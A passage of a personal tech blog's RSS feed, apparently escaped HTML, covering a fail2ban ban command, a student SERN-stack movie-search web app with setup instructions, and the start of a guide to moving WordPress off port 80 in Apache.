&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo fail2ban-client set sshd banip 23.34.45.56
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="links"&gt;
Links
&lt;a href="#links" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://linuxize.com/post/install-configure-fail2ban-on-ubuntu-20-04/"&gt;How to Install and Configure Fail2ban on Ubuntu 20.04&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Building a full stack application for finding Movies on Streaming Platforms with the SERN stack (SQL, Express, React, Node)</title><link>https://thanoskoutr.com/posts/projects/movies-streaming-platforms/</link><pubDate>Sun, 04 Oct 2020 02:26:20 +0300</pubDate><guid>https://thanoskoutr.com/posts/projects/movies-streaming-platforms/</guid><description>
&lt;img src="https://thanoskoutr.com/covers/movies-streaming-platforms.png"/&gt;
&lt;h2 id="about"&gt;
About
&lt;a href="#about" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;The purpose of this project is to create a Web Application in which a user can search movies to watch in different streaming platforms (Netflix, Hulu, Amazon Prime, Disney+).&lt;/p&gt;
&lt;p&gt;The user can filter the results with different criteria and choose to search on any number of the streaming platforms in order to find the desired movies. Also, some statistics are provided about the number of movies that are available on each platform in the form of a pie chart.&lt;/p&gt;
&lt;p&gt;The application is based on an online database with over 16000 movies and info about them. The application also connects with the free &lt;a href="https://www.themoviedb.org/"&gt;TheMovieDB API&lt;/a&gt;, in order to show a corresponding poster for each movie.&lt;/p&gt;
&lt;p&gt;The project is a full stack application made with the lesser known SERN stack (SQL, &lt;a href="https://expressjs.com/"&gt;Express.js&lt;/a&gt;, &lt;a href="https://react.dev/"&gt;React&lt;/a&gt;, &lt;a href="https://nodejs.org/en"&gt;Node.js&lt;/a&gt;). The selected SQL database server is &lt;a href="https://www.mysql.com/"&gt;MySQL&lt;/a&gt;. For styling the &lt;a href="https://getbootstrap.com/"&gt;Bootstrap&lt;/a&gt; library is used, and the &lt;a href="https://www.chartjs.org/"&gt;ChartJS&lt;/a&gt; library to create the charts. Check the &lt;a href="https://thanoskoutr.com/posts/projects/movies-streaming-platforms/#technologies-used"&gt;Technologies used section&lt;/a&gt; for more info about the languages, frameworks and libraries used.&lt;/p&gt;
&lt;p&gt;This project was made for the the &lt;em&gt;Internet and Applications Course at NTUA&lt;/em&gt;, as part of the &lt;em&gt;2020 Appathon&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;
&lt;img src="https://cdn.jsdelivr.net/gh/devicons/devicon/icons/github/github-original.svg" alt="GitHub" class="left" style="border-radius: 8px; max-width: 20px; margin-left: 0px; display: inline-block;" /&gt;
GitHub repository: &lt;a href="https://github.com/thanoskoutr/Appathon-NTUA"&gt;https://github.com/thanoskoutr/Appathon-NTUA&lt;/a&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;There is presentation in Greek that was made to showcase the Project and explain the functionality in detail. You can find it hosted in the &lt;a href="https://github.com/thanoskoutr/Appathon-NTUA/blob/master/Presentation/Appathon-Presentation-2020.pdf"&gt;repository&lt;/a&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id="usage"&gt;
Usage
&lt;a href="#usage" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;The following GIF showcases the usage of the application:
&lt;img src="https://thanoskoutr.com/posts/movies-streaming-platforms/app-usage.gif" alt="app usage" class="center" style="border-radius: 8px; box-shadow: 0 12px 40px rgba(0, 0, 0, .15);" /&gt;
&lt;/p&gt;
&lt;p&gt;The movie results contain posters fetched from TheMovieDB APi:
&lt;img src="https://thanoskoutr.com/posts/movies-streaming-platforms/app-movies.png" alt="movies poster example" class="center" style="border-radius: 8px; box-shadow: 0 12px 40px rgba(0, 0, 0, .15);" /&gt;
&lt;/p&gt;
&lt;h2 id="main-features"&gt;
Main Features
&lt;a href="#main-features" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Inputs:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Streaming platform &lt;em&gt;(mandatory)&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;Movie Title&lt;/li&gt;
&lt;li&gt;Director&lt;/li&gt;
&lt;li&gt;Language&lt;/li&gt;
&lt;li&gt;Genre&lt;/li&gt;
&lt;li&gt;Year&lt;/li&gt;
&lt;li&gt;Country&lt;/li&gt;
&lt;li&gt;Age&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Results can be ordered by:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Movie Title&lt;/li&gt;
&lt;li&gt;Director&lt;/li&gt;
&lt;li&gt;Year&lt;/li&gt;
&lt;li&gt;Duration&lt;/li&gt;
&lt;li&gt;IMDb Score&lt;/li&gt;
&lt;li&gt;Rotten Tomatoes Score&lt;/li&gt;
&lt;li&gt;Number of results per page&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Output:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The corresponding movies given the user&amp;rsquo;s input.&lt;/li&gt;
&lt;li&gt;In which streamin platforms each movie is available.&lt;/li&gt;
&lt;li&gt;Poster for each movie, using the &lt;a href="https://developers.themoviedb.org/3"&gt;TheMovieDB&lt;/a&gt; API.&lt;/li&gt;
&lt;li&gt;Info about each movie, like (Movie Title, Director, Year, Genre, Language, Country, Duration, IMDb Score, Rotten Tomatoes Score, Age)&lt;/li&gt;
&lt;li&gt;Chart with the number of movies in each platform.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="technologies"&gt;
Technologies
&lt;a href="#technologies" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;The main technologies used for this project:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Database:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.mysql.com/"&gt;MySQL&lt;/a&gt; &lt;code&gt;Ver 14.14&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Backend:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://nodejs.org/en"&gt;Node.js&lt;/a&gt; &lt;code&gt;v12.14.0&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Frontend:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;HTML / CSS&lt;/li&gt;
&lt;li&gt;&lt;a href="https://react.dev/"&gt;React&lt;/a&gt; (&lt;code&gt;create-react-app 3.3.0&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;a href="https://getbootstrap.com/"&gt;Bootstrap&lt;/a&gt; &lt;code&gt;v4.5.2&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.chartjs.org/"&gt;ChartJS&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Dataset by:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.kaggle.com/ruchi798/movies-on-netflix-prime-video-hulu-and-disney"&gt;Kaggle - Movies on Netflix, Prime Video, Hulu and Disney+&lt;/a&gt;, which is scraped from &lt;a href="https://reelgood.com/"&gt;Reelgood.com&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;img src="https://thanoskoutr.com/posts/movies-streaming-platforms/app-technologies.jpg" alt="app technologies" class="center" style="border-radius: 8px; box-shadow: 0 12px 40px rgba(0, 0, 0, .15);" /&gt;
&lt;h2 id="architecture"&gt;
Architecture
&lt;a href="#architecture" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;The application is build with the Model-View-Controller (&lt;strong&gt;MVC&lt;/strong&gt;) pattern, where the Model represents the data and the business logic of your application (SQL tables, Node.js backend), the View is responsible for presenting the data to the user (React frontend), and the Controller acts as an intermediary between the Model and the View (Express.js backend controllers).&lt;/p&gt;
&lt;h2 id="movie-database"&gt;
Movie Database
&lt;a href="#movie-database" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;The selected source of movies to be saved in the database and be available for searching, come from the above &lt;a href="https://www.kaggle.com/ruchi798/movies-on-netflix-prime-video-hulu-and-disney"&gt;Kaggle dataset&lt;/a&gt;, which contains all the needed basic information for a movie (Title, Year, Director, Ratings) and in which major streaming service it is available:&lt;/p&gt;
&lt;img src="https://thanoskoutr.com/posts/movies-streaming-platforms/app-kaggle-dataset.jpg" alt="app kaggle dataset" class="center" style="border-radius: 8px; max-width: 100%; box-shadow: 0 12px 40px rgba(0, 0, 0, .15);" /&gt;
&lt;h2 id="installation"&gt;
Installation
&lt;a href="#installation" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;h3 id="dependencies"&gt;
Dependencies
&lt;a href="#dependencies" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;MySQL ή MariaDB server (&lt;code&gt;&amp;gt; v14.0&lt;/code&gt;)
&lt;ul&gt;
&lt;li&gt;Installation for windows &lt;a href="https://www.apachefriends.org/index.html"&gt;here&lt;/a&gt;, using XAMPP.&lt;/li&gt;
&lt;li&gt;Installation for Linux / Windows from the Official Guides &lt;a href="https://dev.mysql.com/doc/mysql-getting-started/en/"&gt;here&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Node.js (&lt;code&gt;&amp;gt; v10.0&lt;/code&gt;)
&lt;ul&gt;
&lt;li&gt;Installation for Windows/macOS &lt;a href="https://nodejs.org/en/download"&gt;here&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Installation for Linux using a packet manager &lt;a href="https://nodejs.org/en/download/package-manager/"&gt;here&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="clone-from-github"&gt;
Clone from GitHub
&lt;a href="#clone-from-github" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;In a system folder we clone the repository and cd into it:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;git clone https://github.com/thanoskoutr/Appathon-NTUA.git
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cd Appathon-NTUA
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="database-setup"&gt;
Database Setup
&lt;a href="#database-setup" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Inside the app we run the following command, which creates the database and the needed table:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;mysql -u root -p &amp;lt; ./database/Movies.sql
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Then, we run the following command, which fills the table with all the necessary data:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;mysql -u root -p appathon_03116073 &amp;lt; ./database/appathon_dump.sql
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="environmental-variables-env"&gt;
Environmental Variables (.env)
&lt;a href="#environmental-variables-env" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;We open the file &lt;code&gt;./back-end/.env.example&lt;/code&gt;, in order to enter the proper values at the environmental variables to allow our app to connect with the database, and the proper API key that we have to obtain from the TheMovieDB API.&lt;/p&gt;
&lt;h4 id="connection-with-the-database"&gt;
Connection with the Database
&lt;a href="#connection-with-the-database" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h4&gt;
&lt;p&gt;We replace the &lt;code&gt;DB_USER&lt;/code&gt;, &lt;code&gt;DB_PASS&lt;/code&gt; variables with the credentials of the &lt;code&gt;root&lt;/code&gt; user of the Database:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-ini" data-lang="ini"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;DB_HOST&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;localhost&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;DB_USER&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;root&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;DB_PASS&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;DB_NAME&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;appathon_03116073&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;TMDB_API_KEY&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="connection-with-the-tmdb-api"&gt;
Connection with the TMDB API
&lt;a href="#connection-with-the-tmdb-api" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h4&gt;
&lt;p&gt;For the TheMovieDB API, we first need to create an account at &lt;a href="https://www.themoviedb.org/signup"&gt;TMDB&lt;/a&gt; and then from the account settings we have to request an API key.&lt;/p&gt;
&lt;p&gt;If we don&amp;rsquo;t enter an API key to the &lt;code&gt;TMDB_API_KEY&lt;/code&gt; variable, we will just not have the ability to show the movie&amp;rsquo;s poster.&lt;/p&gt;
&lt;h4 id="change-filename"&gt;
Change filename
&lt;a href="#change-filename" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h4&gt;
&lt;p&gt;After all the changes to the &lt;code&gt;.env.example&lt;/code&gt; file we save it as &lt;code&gt;.env&lt;/code&gt;, in order for the app to read the variables correctly:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Linux/macOS:&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;mv ./back-end/.env.example ./back-end/.env
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Windows:&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;RENAME .\back-end\.env.example .env
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="deploy-script"&gt;
Deploy Script
&lt;a href="#deploy-script" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Linux/macOS:&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;./deploy.sh
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Windows:&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;deploy.bat
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;When the deploy script its finished, then the app will be available at:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;http://localhost:5000
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="notes"&gt;
Notes
&lt;a href="#notes" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;The app has been tested in the following browsers: Mozilla Firefox, Google Chrome, Microsoft Edge.&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;The app has been developed on Linux (Ubuntu 18.04.5), but has been successfully tested on Windows 10, with MySQL through XAMPP and Node.js on Windows.&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="manual-deploy"&gt;
Manual Deploy
&lt;a href="#manual-deploy" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;In case of any error with the deploy script&lt;/em&gt;&lt;/p&gt;
&lt;h4 id="start-back-end"&gt;
Start back-end
&lt;a href="#start-back-end" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h4&gt;
&lt;p&gt;The back-end server will start after it has successfully connected with the Database:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cd ./back-end
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;npm install
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;npm start
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="start-front-end"&gt;
Start front-end
&lt;a href="#start-front-end" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h4&gt;
&lt;p&gt;Then, we start the front-end server which listens on port 5000. If we want to change the port we simple change the port number at the &lt;code&gt;serve&lt;/code&gt; command:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cd ./front-end
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;yarn install
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;yarn build
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;npm install -g serve
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;serve -s build -l &lt;span style="color:#ae81ff"&gt;5000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</description></item><item><title>Change Wordpress Port</title><link>https://thanoskoutr.com/posts/wordpress-change-port/</link><pubDate>Tue, 22 Sep 2020 15:28:33 +0300</pubDate><guid>https://thanoskoutr.com/posts/wordpress-change-port/</guid><description>
&lt;img src="https://thanoskoutr.com/covers/wordpress-gray-white.png"/&gt;
&lt;p&gt;In this post we will see, how we can change the default port (&lt;code&gt;port 80&lt;/code&gt;) of Wordpress to something else (&lt;code&gt;port 1280&lt;/code&gt;) in order to have &lt;code&gt;port 80&lt;/code&gt; available for other applications to use.&lt;/p&gt;
&lt;p&gt;To make this change we will need to change 2 main things, the Apache configuration files and some options in the MySQL database.&lt;/p&gt;
&lt;p&gt;We are assuming that &lt;a href="https://thanoskoutr.com/posts/wordpress-install/"&gt;Wordpress is installed&lt;/a&gt; in a &lt;a href="https://thanoskoutr.com/posts/lamp-install/"&gt;LAMP stack&lt;/a&gt; on an Ubuntu or Debian server.&lt;/p&gt;
&lt;h2 id="update-port-in-apache-configuration-files"&gt;
Update Port in Apache configuration files
&lt;a href="#update-port-in-apache-configuration-files" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;In order to change ports, we first need to configure Apache to listen to &lt;code&gt;port 1280&lt;/code&gt; and not the default &lt;code&gt;port 80&lt;/code&gt;. To do that we have to edit the &lt;code&gt;/etc/apache2/ports.conf&lt;/code&gt; file and change the &lt;code&gt;Listen&lt;/code&gt; port:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-apacheconf" data-lang="apacheconf"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Listen &lt;span style="color:#ae81ff"&gt;1280&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;IfModule&lt;/span&gt; &lt;span style="color:#e6db74"&gt;ssl_module&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Listen &lt;span style="color:#ae81ff"&gt;443&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;/IfModule&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;IfModule&lt;/span&gt; &lt;span style="color:#e6db74"&gt;mod_gnutls.c&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Listen &lt;span style="color:#ae81ff"&gt;443&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;/IfModule&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Next we need edit the configuration file we have created for Wordpress, in our case it is &lt;code&gt;/etc/apache2/sites-available/wordpress.conf&lt;/code&gt;, and change the &lt;code&gt;VirtualHost&lt;/code&gt; port:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-apacheconf" data-lang="apacheconf"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;VirtualHost&lt;/span&gt; &lt;span style="color:#e6db74"&gt;*:1280&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ServerAdmin webmaster@localhost
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; DocumentRoot &lt;span style="color:#e6db74"&gt;/var/www/wordpress&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ServerName yourdomain.com
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ServerAlias www.yourdomain.com
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;Directory&lt;/span&gt; &lt;span style="color:#e6db74"&gt;/var/www/wordpress/&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; AllowOverride &lt;span style="color:#66d9ef"&gt;All&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;/Directory&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ErrorLog ${APACHE_LOG_DIR}/error.log
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; CustomLog ${APACHE_LOG_DIR}/access.log combined
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;/VirtualHost&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We can make sure we don&amp;rsquo;t have syntax errors, by running:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo apache2ctl configtest
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If the output has a &lt;code&gt;AH00558&lt;/code&gt; message ignore it.
We only care about the SYNTAX OK message.&lt;/p&gt;
&lt;p&gt;and finally restart Apache:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo systemctl restart apache2
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;You can check the local network sockets, using &lt;code&gt;netstat&lt;/code&gt; or &lt;code&gt;ss&lt;/code&gt; to see if the change is successful:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;netstat -tlpn | grep apache
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ss -tlpn| grep apache
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="update-port-in-wordpress-configuration-file"&gt;
